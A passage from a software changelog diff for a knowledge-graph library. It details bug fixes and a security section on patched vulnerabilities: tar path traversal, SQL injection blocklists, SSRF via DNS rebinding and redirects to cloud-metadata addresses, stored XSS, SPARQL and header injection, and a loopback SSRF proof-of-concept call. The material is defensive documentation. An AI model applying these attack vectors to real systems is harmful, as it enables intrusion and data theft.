landing page always showed "System Online"** (#980, closes #977) by @ZohaibHassan16, reviewed by @Sameer6305 + - `GraphWorkspace.tsx` only destructured `{ data, isLoading, isFetching }` from `useLoadGraph()`, ignoring the `isError`/`error`/`refetch` that `useQuery` (`retry: 0`) already returned. Combined with `GraphLoadingOverlay` having no error prop and `showLoadingOverlay` staying true whenever `loadingProgress` held a stale frame, a backend-down or failed fetch left the graph workspace stuck on the last progress frame indefinitely, with no error message and no way to recover short of a full page reload + - `GraphLoadingOverlay` now accepts `error`/`onRetry` and renders an error card with the real fetch error message and a Retry button (`refetch()`) instead of the stuck progress UI + - The landing page's `WelcomeScreen` replaced its hardcoded `ready: boolean` (and hardcoded "System Online" text) with a real `checking` / `online` / `offline` status derived from the same connectivity probe already driving the 4th metric card, so the status dot, text, and metric can no longer drift apart or lie about connectivity + - **Smaller fixes bundled in the same PR**: search results are now dismissible (previously stayed open indefinitely, pushing the graph down); relevance scores display as rounded whole numbers instead of `96.900`/`138.000`; added a debounced (250ms) typeahead combobox to graph search with arrow-key navigation, `aria-activedescendant`, and Escape-to-close, using the existing `/api/graph/search` endpoint + - **Fixed during review** (Qodo): the typeahead's debounced fetch had no `AbortController`, so a fast-typing user could have a stale suggestion response resolve after a newer one, replacing correct suggestions with outdated ones. In-flight requests are now aborted on every re-debounce and when the query is cleared after a selection + - **Noted during review** (@Sameer6305): `GraphWorkspaceShell.tsx` contains a third, unused implementation of the same graph-loading/error-handling logic this PR fixes — the issue itself named "two copies that drifted apart" as the root cause the original bug slipped through. Deliberately left out of this PR's scope and tracked separately in #981 rather than blocking this fix + - `npx tsc -b`: clean; `test:graph-store`/`test:graph-workspace`/`test:plugin-registry`: 42 passed; `npm run build`: succeeds + +- **Markdown import hardened against TOCTOU symlink races during file reads** (#932, closes #856) by @lakshanmuruganandam, with fixes by @Sameer6305 + - `AgentMemory._read_markdown_path` read files via `Path.read_text()` after a `Path.is_symlink()` pre-check, leaving a time-of-check/time-of-use window: a path validated as a regular file could be swapped for a symlink before the actual read, causing the importer to follow the link and read an unintended target + - Reads now go through a new `_read_markdown_file_content()` helper: the path is opened via low-level `os.open()` with `os.O_NOFOLLOW` on platforms that support it (POSIX), so a symlink substituted after validation fails atomically with `ELOOP` instead of being followed; the resulting file descriptor is then verified with `os.fstat()`/`stat.S_ISREG()` to reject non-regular files (FIFOs, devices) even after a successful open + - Directory imports now also exclude symlinked entries from the file listing (`not file_path.is_symlink()`), consistent with the single-file path already rejecting them + - **Known limitation**: Windows has no `os.O_NOFOLLOW`, so on that platform the only defense is the earlier `is_symlink()` pre-check, leaving a narrow TOCTOU window; documented inline rather than implying a stronger cross-platform guarantee than the implementation provides + - New `tests/context/test_agent_memory_markdown.py` coverage: rejecting a symlinked path at both the private helper and the public `import_data()` API, silently excluding symlinked entries during directory import, and the `fstat()`/`S_ISREG` guard against non-regular files (mocked FIFO) + - `pytest tests/context/test_agent_memory_markdown.py`: 46 passed, 4 skipped (symlink-creation tests skip on Windows without `SeCreateSymbolicLinkPrivilege`) + +- **`VectorManager.maintain_store()`/`collect_statistics()` crashed with `AttributeError` on persistent `VectorStore` backends** (#914, closes #855) by @yunaremaia, with fixes by @Sameer6305 + - Both methods accessed `store.vectors`/`store.metadata` directly, which are only initialized for the `inmemory` backend — any persistent backend (FAISS, Qdrant, Pinecone, Milvus, SQLite, PgVector, Weaviate) crashed immediately. Same root cause as the #839/#843/#845/#848 cluster, but `VectorManager` operates on a `VectorStore` instance from the outside, so the fix needed a public accessor rather than another internal guard + - Added a backend-agnostic `VectorStore.count()`: the `inmemory` backend counts its local dict; persistent backends delegate to a `count()` on the wrapped backend store when one exists, or raise `NotImplementedError` — following the `get_vector()`/`get_metadata()` precedent from #843, a missing/uninitialized backend store is never silently reported as an empty, healthy store + - `maintain_store()` and `collect_statistics()` now go through `store.count()` instead of touching `.vectors`/`.metadata` + - **Fixed during review** (@Sameer6305): the initial version had `count()` implemented at the dispatch level only, with no shipped backend actually providing one, and `maintain_store()` manufactured a vacuous `metadata_count == vector_count` tautology for persistent backends (always reporting `healthy: True` without checking anything). Added real `count()` implementations to `FAISSStore` (`len(index.vector_ids)` — FAISS has no delete path, so this list is always consistent with the index), `SQLiteVecStore`, and `PgVectorStore` (both via `SELECT COUNT(*)`); `Qdrant`/`Pinecone`/`Milvus`/`Weaviate` continue to raise `NotImplementedError` since none of them guarantee a cheap, reliable synchronous count. `maintain_store()` now reports `metadata_count: None` for persistent backends instead of the fabricated equality, with `healthy` meaning "store is reachable," not "metadata verified" + - Two earlier Qodo findings (a count() path that silently returned 0 for a missing backend store, and an unvalidated `hasattr` check that could raise `TypeError` on a mis-shaped adapter) were fixed before this review — replaced with `NotImplementedError` and a `getattr`+`callable()` capability check, respectively + - New `tests/vector_store/test_vector_manager_persistent.py`: dispatch-level tests for `count()` (inmemory, delegation, missing backend, non-callable `count`, mis-shaped adapter), full `VectorManager` inmemory semantics including divergence detection, persistent-backend dispatch tests, and backend-specific tests against real/mocked FAISS, SQLite (`sqlite-vec`, skipped if unavailable), and PgVector stores + - Core `vector_store` suite: 40 passed + +- **`ContextGraph.get_node_property`/`get_node_attributes` "not found" contract clarified; `add_node_attribute` mutation-callback exception safety fixed** (#882, closes #877) by @ZohaibHassan16 + - `get_node_property` returned `None` for both "node missing" and "property missing" with no way to distinguish them, and `get_node_attributes` returned `{}` for a missing node while its siblings disagreed on the not-found signal (`get_node_property`/`find_node` → `None`, `get_edge_data` → `{}`). Both now accept a `default=` parameter matching `dict.get()`'s convention, defaulting to their historical return values (`None` and `{}` respectively) for backward compatibility. Callers that need to disambiguate "node missing" from "value legitimately absent" can pass a private sentinel as `default` + - Added Google-style docstrings to `get_node_property`, `get_node_attributes`, `get_edge_data`, and `find_node` documenting each method's not-found contract, addressing #877's "sibling not-found contract undocumented" gap + - **Corrected during review**: the PR as submitted claimed to fix `add_node_attribute` firing its `mutation_callback` "outside `with self._lock`, without holding the lock," but the diff only removed a stray blank line — the callback call remained outside the lock, unchanged. Further investigation found this was not actually a bug: `self._lock` is a `threading.RLock`, and the same release-the-lock-before-invoking-the-callback pattern is used deliberately in `_add_internal_node`/`_add_internal_edge` elsewhere in this class, avoiding holding the lock for the duration of an arbitrary user-supplied callback. The real inconsistency was that, unlike those two siblings, `add_node_attribute`'s callback call wasn't wrapped in `try/except` — a raising callback propagated uncaught here but was caught and logged there. Now wrapped the same way (`except Exception as e: self.logger.warning(...)`) + - 13 tests covering happy path, missing node, missing property, sentinel disambiguation, falsy-zero, callback firing/non-firing, and (added during review) a raising callback no longer propagating out of `add_node_attribute` + - `pytest tests/context/test_context.py -q`: 27 passed + +- **Three `tests/normalize/` tests failed for reasons unrelated to the normalize implementations: a missing optional-dependency skip guard, an incomplete chardet allowlist, and a UTC/local timezone mismatch** (#881, closes #860) by @aoright + - `test_detect_language`/`test_detect_with_confidence` in `tests/normalize/test_language_detector.py` asserted on real `langdetect` output with no skip guard, even though `langdetect` is an optional dependency absent from `pyproject.toml` that `LanguageDetector` already degrades gracefully without (`LANGDETECT_AVAILABLE = False`, falls back to `default_language`) — any environment without it failed both tests unconditionally, including a fresh CI run without optional extras installed. Both are now gated with `@unittest.skipUnless(LANGDETECT_AVAILABLE, ...)` + - `test_detect_encoding` in `tests/normalize/test_encoding_handler.py` asserted `chardet.detect()`'s result against a 3-name allowlist (`iso-8859-1`/`windows-1252`/`latin-1`); on a short Latin-1 sample, chardet is free to return other compatible single-byte codepages (e.g. `windows-1253`), which fails the allowlist and then cascades into `test_convert_to_utf8` decoding the bytes as Greek instead of the original text. The test now uses a longer, unambiguous Latin-1 corpus and asserts that the detected encoding round-trip-decodes the original text instead of matching a fixed name list; `test_convert_to_utf8` now passes `source_encoding="latin-1"` explicitly rather than relying on chardet's heuristic auto-detection + - `test_normalize_date_relative` in `tests/normalize/test_date_normalizer.py` compared `RelativeDateProcessor`'s local-clock-based `"today"` (`datetime.now()`, naive, UTC-normalized after the fact by `convert_to_utc()`) against a separately-computed UTC reference date — failing intermittently in any timezone east of UTC whenever the local and UTC dates diverge for part of the day. The test now patches `datetime.now()` to a fixed reference time, making the assertion independent of host timezone + - `pytest tests/normalize`: 77 passed, 2 skipped (`langdetect` not installed); `black`/`isort`/`flake8 --max-line-length=88` clean on all three changed files. Test-only change; no production code touched + +- **MCP server reported a stale `0.4.0` version instead of the installed package version** (#870, closes #863) by @oiahoon + - `semantica/mcp_server/__init__.py` hardcoded `"version": "0.4.0"` in both the MCP `initialize` response (`SERVER_INFO`) and the `semantica://schema/info` resource, regardless of the actual installed `semantica` version — every MCP client (Claude Desktop, Windsurf, Cline, Continue, VS Code Copilot, etc.) showed the wrong server version. Both surfaces now derive from `semantica.__version__`, the package's authoritative version source, so they can no longer drift from `pyproject.toml` + - New regression coverage in `tests/test_mcp_server_version.py`, including `!= "0.4.0"` canaries and a cross-surface consistency check + - **Fixed along the way**: the separate root-level `mcp/` package (`mcp/__init__.py`, `mcp/server.py`, `mcp/resources/registry.py`) — a companion MCP server implementation not included in the built distribution, but documented in `mcp/__init__.py` as a supported way to run against Claude Desktop/Windsurf/etc. from a source checkout — had the same three hardcoded `0.4.0` literals; fixed the same way, with matching regression tests in `tests/test_mcp_package_version.py` + +- **`VectorStore._filter_by_metadata()` `AttributeError` on all persistent backends** (#857, closes #849) by @TaherTadpatri + - `_filter_by_metadata()` iterated `self.metadata` directly, which only exists on the `inmemory` backend — any persistent backend (`faiss`, `qdrant`, `pinecone`, `milvus`, `pgvector`, `sqlite`, `weaviate`) crashed with `AttributeError` on `filter_decisions(query=None, ...)` / metadata-only filtering. Filtering is now delegated to a native `filter_by_metadata()` implemented on each backend store, using backend-native payload/SQL/JSON filtering (Qdrant `scroll()`, Pinecone `query()`, Milvus expression filters, PostgreSQL JSONB, SQLite `json_extract()`, Weaviate collection filters) + - **Fixed along the way**: `PineconeStore.get_index()` and `filter_by_metadata()` called a nonexistent `self.describe_index_stats()` on the store itself (the method only exists on the `PineconeIndex` wrapper returned by `self.index`); the resulting `AttributeError` was silently swallowed, so dimension auto-detection always failed quietly. Now correctly calls `self.index.describe_index_stats()` + - **Fixed along the way**: `PineconeStore.filter_by_metadata()` probed for filter-only matches using an all-zero dummy query vector, which Pinecone rejects for cosine-metric indexes — the library's own default — making metadata-only filtering silently non-functional out of the box. Now uses a unit vector instead + - **Fixed along the way**: `PgVectorStore.filter_by_metadata()`'s list-filter branch formatted boolean values with `str(v)` (`'True'`/`'False'`), never matching PostgreSQL JSONB's lowercase `'true'`/`'false'` text rendering, even though the equivalent scalar-filter branch already handled this correctly + - **Fixed along the way**: list-valued metadata fields (e.g. `{"tags": ["python", "js"]}`) could never match a list filter on the SQLite or PostgreSQL backends, because both extracted the whole array as its JSON/text representation instead of matching individual elements — silently diverging from the in-memory backend's set-intersection semantics. SQLite now uses `json_each()` over a `json_type`-guarded array/scalar wrapper; PostgreSQL now uses the `?|` "any array element" operator alongside the existing scalar `= ANY(...)` path + - **Fixed along the way**: `FAISSStore.filter_by_metadata(limit=0)` returned one result instead of zero, because the limit check ran after appending the current match + - **Fixed along the way**: `MilvusStore`'s metadata expression builder rendered `NaN`/`Infinity` filter values as bare unquoted tokens, producing an invalid Milvus expression whose server-side rejection was then swallowed by a broad `except`, indistinguishable from "no matches"; these values are now rejected up front with a clear `ValidationError` + - New/expanded test coverage in `tests/vector_store/test_backend_metadata_filtering.py` (all 7 backends, including the Pinecone dimension/zero-vector, PgVector boolean-list, FAISS `limit=0`, and Milvus `NaN` regressions) and `tests/vector_store/test_sqlite_vec_store.py` (new `TestSQLiteVecStoreFilterByMetadata`, run against the real `sqlite-vec` extension, including the array-vs-scalar intersection case) + +- **`DistanceExporter` silently swallowed metric computation failures, exporting `None` values indistinguishable from a legitimate "no path" result** (#879, closes #874) by @AmirF194 + - `_betweenness`, `_hop_distance`, `_weighted_distance`, and `_semantic_similarity` each caught `Exception` and returned their sentinel (`None`/`{}`) with no logging; a failed computation and a real "no path exists" looked identical in exported CSV/JSONL/DataFrame data. All four now log a `warning` with `exc_info=True` before returning the sentinel; exported row shape and values are unchanged + - **Fixed along the way**: the module logger was built with `get_logger(__name__)`, which double-prefixed it to `semantica.semantica.export.distance_exporter` — a name `setup_logging()` never configures — so this module's logging (including a pre-existing `logger.debug` call) was silent regardless. Now uses `get_logger("export.distance_exporter")`, matching every other exporter in the module + - New regression coverage in `tests/export/test_distance_exporter.py`: warnings fire on exception for all four helpers, exported sentinel values/shape stay unchanged, and the legitimate "no KG backend" `None` path still logs nothing + - Full `tests/export/` suite: 71 passed + +### Security + +- **Tarball restore path traversal, latent SQL injection, DNS-rebinding TOCTOU in the shared SSRF guard, stored XSS in report generation, and unvalidated SPARQL object IRIs in AnzoStore** (#1079) by @KaifAhmad1 + - `semantica backup restore`'s tar extraction (`cli.py`) stripped only the literal `semantica-backup/` prefix and called `tar.extract()` with no path-containment check, no symlink/hardlink validation, and (on Python <3.12) no extraction filter — a crafted archive member (`../../`, or a symlink pointing outside the restore root) could write arbitrary files above the restore directory. Every member is now validated for resolved-path containment before extraction, symlink/hardlink targets are rejected both lexically (absolute path, `..` segments) and by resolution, and `filter="data"` is applied on Python ≥3.12 + - `DataExporter.export_table_data()` (`db_ingestor.py`) was missing the `text` import from `sqlalchemy` — a `NameError` that made the method non-functional, but latently: the query it built from raw f-string interpolation of `table_name`/`schema`/`where`/`order_by` was already injectable, so fixing the import alone (without also fixing the injection) would have silently armed it. Both are fixed together: the import is restored, `table_name`/`schema` are now validated against a strict identifier allowlist, and `where`/`order_by` are checked against a blocklist (statement separators, comments, UNION, DDL/DML keywords, time-based blind-injection primitives, schema-enumeration terms). This is a blocklist, not a grammar — it closes the concrete UNION-exfiltration path and common injection primitives, but a boolean-blind subquery using none of the blocked keywords could still get through; `where`/`order_by` must be treated as trusted/operator input, not exposed to untrusted end users, and the docstrings now say so explicitly + - `request_with_ssrf_guard()` (`ssrf.py`) validated a hostname's resolved IPs, then let the underlying HTTP client re-resolve the same hostname independently at connect time — a low-TTL or DNS-rebinding answer could differ between the two lookups, so a hostname that validated as public could still connect to a private/internal address. Ported the IP-pinning pattern already used by `explorer/routes/ontology.py`'s `_make_pinned_session` into the shared ingest guard: the one resolution that decides accept/reject is now also the one the connection is pinned to, via a custom `HTTPAdapter` that presents the real hostname over TLS SNI / Host header while connecting only to the validated IPs. Also closes the RFC 6598 Carrier-Grade NAT gap noted as a known limitation in #905/#868: `100.64.0.0/10` is now in `BLOCKED_NETWORKS` + - `ReportGenerator._generate_html()` (`export/report_generator.py`) f-string-interpolated report title/summary/metrics into HTML with no escaping — an ingested entity or document whose content flowed into a report (e.g. ``) executed as stored XSS when the report was opened. All interpolated values are now `html.escape()`d + - `AnzoStore._format_object_for_sparql()` (`triplet_store/anzo_store.py`) validated the subject/predicate of a triplet via `sparql_escaping.validate_uri()` before interpolating them into a SPARQL `INSERT DATA` clause, but delegated the **object** position to a separate formatter that wrapped it as `<{obj}>` without the same validation — an object value containing `>`/`}`/`{`/`"` could close the intended `<...>` token early and inject additional SPARQL Update operations. The Blazegraph/RDF4J backends were hardened for the equivalent gap previously; Anzo's object position now goes through the same `validate_uri()` check + - Also hardened in the same pass: Apache AGE's `create_index()` `index_type` parameter is now allowlisted (was interpolated raw into a `USING` clause); Neo4j's `limit` is now explicitly validated (raises `ValidationError` for non-integer input instead of falling through to a generic `ProcessingError`); the `ffprobe` metadata-extraction subprocess call is guarded against a filename starting with `-` being parsed as an option; the MCP server no longer echoes raw exception text to JSON-RPC clients, logging full details server-side and returning a generic message plus the exception class name instead + - **Fixed during review** (@KaifAhmad1): the SSRF IP-pinning change introduced a connection-pool leak of its own — `requests.Session.mount()` silently drops whatever adapter it replaces without closing it, so a multi-hop redirect chain on a reused session leaked one pooled connection per hop. Pinned adapters are now tagged and explicitly closed before being replaced, both per-hop and on final restore + - **Fixed during review** (@KaifAhmad1): mounting a pinned adapter and setting a Host header on a caller-supplied `Session` is not inherently thread-safe — two guarded calls sharing the same session from different threads could interleave their mount/restore cycles. Added a per-session lock (`_get_session_lock`) so concurrent guarded calls on the same session now serialize instead of racing; verified with a two-thread test showing correct serialization and zero cross-contamination of per-request Host headers + - **Fixed during automated PR review** (Qodo): `export_table_data()`'s new identifier/fragment validation raised `ValidationError` from inside a `try` whose blanket `except Exception` re-wrapped it as `ProcessingError`, masking the distinction between "bad input" and "the export itself failed" that callers rely on elsewhere in this module. Added the `except ValidationError: raise` guard already used by its sibling methods + - **Fixed during automated PR review** (Qodo): on a hop where IP pinning doesn't apply (`allow_private_ips=True`), `_apply_connection_pin()` unconditionally popped the session's `Host` header instead of restoring whatever it was before pinning touched it — a caller-supplied session carrying its own legitimate `Host` override (e.g. fronting a private endpoint under a different name) had that override silently dropped for the in-flight request, only reappearing afterward via the outer `finally` restore. It now restores the session's own pre-call header state (set back if present, popped only if it was truly absent) instead of always popping + - **Fixed during automated PR review** (Qodo): the `where`/`order_by` blocklist matched keywords/punctuation inside properly quoted string literals and identifiers too, so legitimate data like `status = 'union'` or `name = 'a--b'` was rejected as if it were SQL syntax. The blocklist now runs against a copy with quoted-literal contents masked out (`_mask_sql_literals`) — a malformed/unterminated quote sequence doesn't match the masking pattern and is left fully exposed to the blocklist, so this closes false positives without opening a masking-based bypass; the fragment actually used in the query is unchanged + - Re-ran each finding's proof-of-concept (or an equivalent adversarial test) against the fix and confirmed it is blocked: tar path/symlink traversal (both lexical and resolved-path forms), SQL UNION exfiltration and identifier breakout, DNS-rebinding TOCTOU (including under a configured `HTTP_PROXY`, which the pinning adapter also rejects outright since a proxy would resolve DNS itself), stored XSS, and the AnzoStore SPARQL injection + - `pytest tests/ingest/`: 266 passed, 2 skipped (10 pre-existing failures unrelated to this change — identical failure set confirmed on unmodified `main`); full regression sweep across `graph_store`, `export`, `triplet_store`, `parse`, and backup/restore: 313 passed + +- **`Authorization`/`Proxy-Authorization` credentials could leak to a different origin across HTTP redirects, and several ingest paths bypassed the shared SSRF/redirect guard entirely** (#1067, closes #947) by @Sameer6305, reviewed by @KaifAhmad1 + - `request_with_ssrf_guard()` previously only stripped sensitive headers from per-request `kwargs["headers"]` on a cross-origin redirect; session-level `Authorization`/`Proxy-Authorization` headers, `session.auth`, and `session.trust_env` (`.netrc` lookup) could all still resurrect credentials on the hop to a foreign origin. All five credential sources are now stripped case-insensitively, kept stripped for the remainder of a multi-hop redirect chain (no resurrection even if a later hop returns to the original host), and unconditionally restored via `finally` — including on exceptions and redirect-limit errors + - `MCPClient._send_request_http()` and `PublicAPIIngestor.detect_public_api()`/`ingest_public_api()` called `httpx.post()`/`requests.post()`/`session.request()` directly, bypassing `request_with_ssrf_guard()` entirely. Both now route through the shared guard, including when `validate_no_auth=False` + - `SeedDataManager.load_from_api()` mutated the caller-supplied `headers` dict in place when adding an API-key `Authorization` header, silently leaking the key back into a dict the caller might reuse elsewhere. Now copies before modifying + - **Fixed during review** (@KaifAhmad1): `allow_private_ips=True` (used to let MCP servers run on localhost/internal networks) was applied to every redirect hop, not just the operator-configured host — a compromised or malicious MCP server could 302-redirect to an internal address (e.g. `169.254.169.254` cloud metadata) and the guard would follow it unchecked, defeating the SSRF protection this PR otherwise adds. Added `allow_private_ips_on_redirect` to `request_with_ssrf_guard()`: a redirect target inherits the original host's private-IP trust only when it matches that host; any other host falls back to strict validation. `MCPClient` now pins `allow_private_ips_on_redirect=False`, so only same-host redirects on a trusted MCP server keep working — a cross-host hop into private address space is blocked + - **Fixed during review** (@KaifAhmad1): `detect_public_api()` only caught `requests.exceptions.RequestException`, but `request_with_ssrf_guard()` raises `ValidationError` (a disjoint hierarchy) for SSRF-blocked hosts, blocked redirect targets, missing `Location`, or exceeded redirect limits — unlike its sibling `ingest_public_api()`, which already caught it. Callers (including `is_public_api()`) got an undocumented raw `ValidationError` instead of `ProcessingError`, and the error-logging call was skipped. Now catches `(ValidationError, ProcessingError)` and re-raises, matching the sibling method + - **Fixed during review** (@KaifAhmad1): `detect_public_api()`/`ingest_public_api()` forwarded `**options` into `request_with_ssrf_guard(..., session=self.session, allow_private_ips=self.allow_private_ips, **request_options)` without stripping `session`/`allow_private_ips` from `request_options` first — a caller passing either through the per-call `**options` (a plausible mistake, since `allow_private_ips` is also a documented constructor-level knob) got a raw `TypeError: got multiple values for keyword argument`. Both are now popped from `request_options` before the call + - New regression coverage added during review: `TestAllowPrivateIpsOnRedirect` (cross-host redirect into private space blocked, same-host redirect trust preserved, default behavior unchanged for existing callers that don't pass the new kwarg) and `TestMCPClientAuthRedirect::test_redirect_to_private_ip_is_blocked`/`test_same_host_redirect_on_private_mcp_server_is_not_blocked` in `tests/ingest/test_auth_header_redirect_security.py`; `test_detect_public_api_propagates_ssrf_validation_error` and duplicate-kwarg regression tests for both methods in `tests/ingest/test_public_api_ingestor.py` + - `pytest tests/ingest/test_auth_header_redirect_security.py tests/ingest/test_public_api_ingestor.py tests/test_seed_manager.py tests/ingest/test_submodules.py tests/ingest/test_cookbook_integration.py`: 111 passed + +- **`FeedIngestor`/`FeedMonitor` (RSS/Atom feed ingestion) had no SSRF protection, allowing requests to internal/private network targets** (#928, closes #927) by @ZohaibHassan16 + - `FeedIngestor.ingest_feed()`, `discover_feeds()` (link-tag fetch, common-path HEAD probe, and feed-validation GET), and `FeedMonitor.check_updates()` all called `requests.get()`/`requests.head()` directly with default redirect-following and no scheme allowlist or private/loopback/link-local IP validation — despite `semantica/ingest/ssrf.py`'s `request_with_ssrf_guard()` already existing and being used by `web_ingestor.py`/`api_ingestor.py`. `ingest_feed()`'s own URL check only verified `urlparse(url).scheme`/`.netloc` were non-empty, never that the scheme was http/https or that the resolved target IP was safe. Reachable via the public `ingest_feed()`/`ingest()` entry points with any caller-supplied feed URL + - All 5 call sites now route through `request_with_ssrf_guard()`, which validates scheme (http/https only) and resolved IP before the request, and re-validates every redirect `Location` before following it — closing both the direct-IP and redirect-chain SSRF paths. Added an `allow_private_ips` config option to both `FeedIngestor` and `FeedMonitor`, consistent with the other ingestors + - **Fixed during review** (Qodo): `test_discover_feeds_empty` mocked `requests.get`, which no longer executes now that the code path goes through `request_with_ssrf_guard()` (backed by `requests.request`) — the test was passing without exercising the real code. Corrected to mock `requests.request` and `socket.getaddrinfo` + - `pytest tests/ingest/test_feed_ingestor.py`: 12/12 passed. Independently reproduced the issue's own PoC (`FeedIngestor().ingest_feed("http://127.0.0.1:8765/feed.xml")` against a live local server) and confirmed it now raises `ValidationError` instead of succeeding + - **Known limitation carried over from `discover_feeds()`'s pre-existing design**: its common-path and feed-validation loops use a blanket `except Exception: continue`, which now also silently absorbs `ValidationError` from a blocked candidate URL the same way it already absorbed network failures — the request is still correctly blocked before reaching the network, so this is not an SSRF bypass, just a missed opportunity to log "blocked as SSRF target" distinctly from "unreachable" + +- **`RepoIngestor` clone surface hardened against GitPython URL/option injection** (#905, closes #868) by @pravit-amp + - `RepoIngestor.ingest_repository()` passed the caller-supplied repository URL and arbitrary `**options` straight through to `git.Repo.clone_from()` on a `GitPython>=3.1.50` floor predating hardening for `ext::`-style transport helpers and `$VAR`/`${VAR}` environment-variable expansion in clone URLs — unvalidated clone options (`upload_pack`, `multi_options`, `template`, `config`, `env`, ...) could be abused for command execution, and unvalidated hostnames allowed SSRF against internal services (e.g. cloud metadata endpoints) + - `GitPython` floor raised to `>=3.1.58` + - Clone options passed to `clone_from()` are now allowlisted to `{depth, branch, single_branch, no_tags}`; anything else raises `ValidationError` before the clone is attempted + - Repository URLs are validated before cloning: scheme allowlist (`https`, `http`, `git`, `ssh`), rejection of `$VAR`/`${VAR}` tokens, and hostname resolution with every returned address screened against private/loopback/link-local/unspecified ranges. scp-like SSH remotes (`user@host:path`) are recognized and normalized to `ssh://` before the clone call + - **Fixed during review** (@Sameer6305): the SSRF check originally used `ip.is_reserved`, which flags the NAT64 Well-Known Prefix (`64:ff9b::/96`, RFC 6052) as reserved — falsely blocking `github.com` and other public hosts on IPv6-only/dual-stack networks using NAT64. Narrowed the block list to private/loopback/link-local/unspecified only + - **Fixed during review** (@Sameer6305): local filesystem repository paths (`git clone /path/to/local/repo`) were being treated as remote URLs and rejected outright; local paths now bypass network validation entirely since they make no network requests and carry no SSRF risk + - **Known limitation**: the SSRF host check does not classify RFC 6598 Carrier-Grade NAT space (`100.64.0.0/10`) as blocked — Python's `ipaddress.IPv4Address.is_private` does not cover that range, so a hostname resolving into it (e.g. some Kubernetes/CNI pod networks) would not be caught. Follow-up recommended to add it explicitly alongside the existing private/loopback/link-local checks + - `pytest tests/ingest/test_repo_ingestor_security.py -v`: 44 passed + +- **HTTP response header injection via `node_id`, unbounded-memory DoS in link prediction, and unsanitized imported node IDs in the Explorer** (#912) by @Sunil56224972 + - `semantica/explorer/routes/provenance.py`'s `GET /api/provenance/report` f-string-interpolated the `node_id` query parameter directly into the `Content-Disposition` response header; a `\r\n`-bearing `node_id` could inject arbitrary response headers (`Set-Cookie` session fixation, `Content-Type` override for reflected XSS). Fixed with `_safe_content_disposition_filename()`, which strips `\r`, `\n`, `\x00`, `"`, `\` and length-caps the value before interpolation + - `POST /api/enrich/links` (link prediction) loaded up to 999,999 nodes with no cap or concurrency guard, then scored every candidate — a single request could consume ~1.6 GB RAM, and concurrent requests compounded that with no limit. Capped the candidate pool at 10,000 nodes (`413` if exceeded) and added an `asyncio.Semaphore(2)`, mirroring the SPARQL DoS fix in #898 + - `POST /api/import` stored uploaded JSON/CSV node IDs verbatim; since provenance reports reflect `node_id` into `Content-Disposition`, an attacker could upload a node with a CRLF-bearing ID once and trigger the header-injection chain above for every subsequent viewer. Added `_sanitize_import_node_id()`, applied to node and edge `source_id`/`target_id` fields on both the JSON and CSV import paths + - **Corrected during review**: the JSON import path had a second, unsanitized branch — any uploaded node object already carrying a `"properties"` key (the shape this app's own `/api/export` produces, and already used elsewhere in the test suite) was appended to the graph as-is, bypassing `_sanitize_import_node_id()` entirely and leaving the stored-header-injection chain open via a one-line payload (`{"id": "", "properties": {}}`). That branch now sanitizes `id` before storing + - **Corrected during review**: the link-prediction cap checked `total` only *after* calling `session.get_nodes()`/`get_edges()`, which normalize the graph's *entire* matching node/edge set before applying `limit` — so the guard ran after the expensive work it was meant to prevent had already happened, on every request regardless of graph size. Added `GraphSession.get_raw_counts()`, an O(1) check against the raw `len(graph.nodes)`/`len(graph.edges)` collections, and moved the size check ahead of the normalizing calls + - **Corrected during review**: 5 of the original PR's 22 regression tests asserted that literal words like `"Set-Cookie"`/`"Content-Type"` disappeared from the sanitized value — the sanitizer only strips `\r\n\x00"\\`, not letters, so those assertions failed against the PR's own fix as submitted. Corrected to assert on the property that actually blocks header injection (no `\r`/`\n` survives), and added end-to-end tests that exercise the real `/api/import` → `/api/provenance/report` route chain (not just the standalone sanitizer function) so the `properties`-key bypass has regression coverage + - Full `explorer` suite: 241 passed; `tests/test_security_regression_pr2.py`: 30 passed + +- **`fastapi`/`python-multipart` floors in the `explorer` extra allowed PYSEC-2024-38 (CVE-2024-24762 / GHSA-2jv5-9r88-3w3p, `python-multipart` ReDoS)** (#871, closes #869) by @agu2347 + - `explorer` declared `fastapi>=0.100.0` and `python-multipart>=0.0.6`; both floors resolve to versions carrying a ReDoS in `python-multipart`'s `Content-Type` header option parser (`parse_options_header`), reachable by any endpoint that accepts form/multipart data — an attacker-crafted header option can stall the event loop for minutes + - **Corrected during review**: the original fix raised only `fastapi>=0.109.1`, leaving `python-multipart>=0.0.6` unchanged. `python-multipart` is declared as its own direct dependency in the `explorer` extra rather than pulled in transitively via `fastapi[all]`, so a bare `fastapi` install enforces no `python-multipart` floor at all — the vulnerable `0.0.6` could still resolve with `fastapi>=0.109.1` in place. Floors raised to `fastapi>=0.109.2` / `python-multipart>=0.0.7`, the first versions of each that exclude the vulnerable range + - **Fixed along the way**: the `Security` workflow's `pip-audit` job ran only on a weekly schedule with `continue-on-error: true`, against a bare Python environment with none of Semantica's optional extras installed — it would never have seen `fastapi`/`python-multipart` regardless of which floor was pinned. `security-scan.yml`'s Safety check has the same blind spot (`pip install -e ".[llm-litellm]"` only, never `[explorer]`). `pip-audit` now also runs on `pull_request` when `pyproject.toml` changes, installs `semantica[all]`, and fails the build on any finding for that trigger; the schedule/`workflow_dispatch` runs stay non-blocking pending a full pass over any pre-existing findings across the whole `[all]` tree + - **Caught by the new gate on its first run**: `python -m pip install -e ".[all]"` pulled in `setuptools==79.0.1`, vulnerable to CVE-2026-59890/GHSA-h35f-9h28-mq5c/PYSEC-2026-3447 (Unicode-normalization bypass of `MANIFEST.in` exclude/prune patterns on macOS APFS/HFS+, letting excluded files leak into a built sdist), fixed in `83.0.0`. `[build-system] requires` had the exact same too-permissive-floor pattern this whole entry is about (`setuptools>=61.0`), and `actions/setup-python`'s baked-in `setuptools` isn't governed by that pin at all since it's outside any isolated build. Bumped `[build-system] requires` to `setuptools>=83.0.0`, and the `Security` workflow now runs `pip install --upgrade pip setuptools` before auditing so the scanned environment can't have a stale ambient copy regardless of what governs it + - Full `explorer` suite: 241 passed + +## [0.6.5] - 2026-08-11 + +### Added + - **Embedded Oxigraph backend for `TripletStore`** (#838, closes #834) by @Linxiushen - Added `OxigraphStore` (`semantica/triplet_store/oxigraph_store.py`), an in-process SPARQL 1.1 store via the optional `pyoxigraph` dependency — no external server (Blazegraph/Jena/RDF4J/Anzo) required, fixing the confusing plain connection-error failure `TripletStore` previously produced with no server running (no local Docker daemon, no Java, CI, or a fresh laptop) - Runs fully in memory by default, or persists to a local directory via `TripletStore(backend="oxigraph", path=...)`; reopening the same directory resumes existing data @@ -69,6 +296,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **`PipelineWithProvenance` raised 